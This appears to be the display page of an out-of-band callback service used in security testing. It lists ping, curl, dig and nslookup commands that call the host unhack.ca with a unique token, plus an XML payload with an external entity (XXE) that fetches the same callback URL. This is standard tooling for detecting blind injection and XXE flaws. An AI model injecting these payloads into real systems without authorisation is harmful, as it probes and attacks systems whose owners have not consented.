$ ping -c1 -p 009648c34141ed1b5e468daaa9cf4700 unhack.ca
 
$ curl http://unhack.ca/p/9648c34141ed1b5e468daaa9cf47
 
$ dig 9648c34141ed1b5e468daaa9cf47 @unhack.ca
 
$ dig 9648c34141ed1b5e468daaa9cf47.ns.unhack.ca
 
C:\> nslookup 9648c34141ed1b5e468daaa9cf47 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9648c34141ed1b5e468daaa9cf47">]>
    <foo>&xxe;</foo>
Waiting for ping...